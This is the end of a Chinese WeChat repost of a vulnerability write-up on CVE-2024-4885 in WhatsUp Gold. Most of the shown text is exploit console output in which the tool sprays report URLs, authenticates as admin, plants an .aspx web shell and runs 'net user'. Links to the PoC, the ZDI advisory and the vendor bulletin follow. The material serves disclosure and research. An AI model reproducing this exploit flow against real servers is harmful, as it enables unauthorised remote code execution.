(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-24.aspx
(+) Callback received
192.168.0.231 - - [06/Jul/2024 23:31:30] "GET /Session/Login/?sUsername=admin&sPassword=3,0,0,0,16,0,0,0 HTTP/1.1" 200 -
192.168.0.231 - - [06/Jul/2024 23:31:30] "PUT /api/core/render HTTP/1.1" 200 -
(*) Waiting 180s for the RecurringReport task to land...
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-25.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-26.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-27.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-28.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-29.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-30.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-31.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-32.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-33.aspx
(+) Web shell found at -> https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-33.aspx
Shell> net user
User accounts for \
-------------------------------------------------------------------------------
Administrator debugger DefaultAccount
Guest WDAGUtilityAccount
The command completed with one or more errors.
Shell>
零日攻击计划
如果不是因为零日计划(Zero Day Initiative) 拥有一支才华横溢的团队,我根本不会费心研究进展,向所有在那里工作以使互联网更安全的人致敬。
参考
https://github.com/sinsinology/CVE-2024-4885
https://www.zerodayinitiative.com/advisories/ZDI-24-893/
https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-June-2024
https://summoning.team/blog/progress-whatsup-gold-rce-cve-2024-4885/?ref=x
原文始发于微信公众号(Ots安全):WhatsUp Gold Pre-Auth RCE GetFileWithoutZip 原语CVE-2024-4885
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论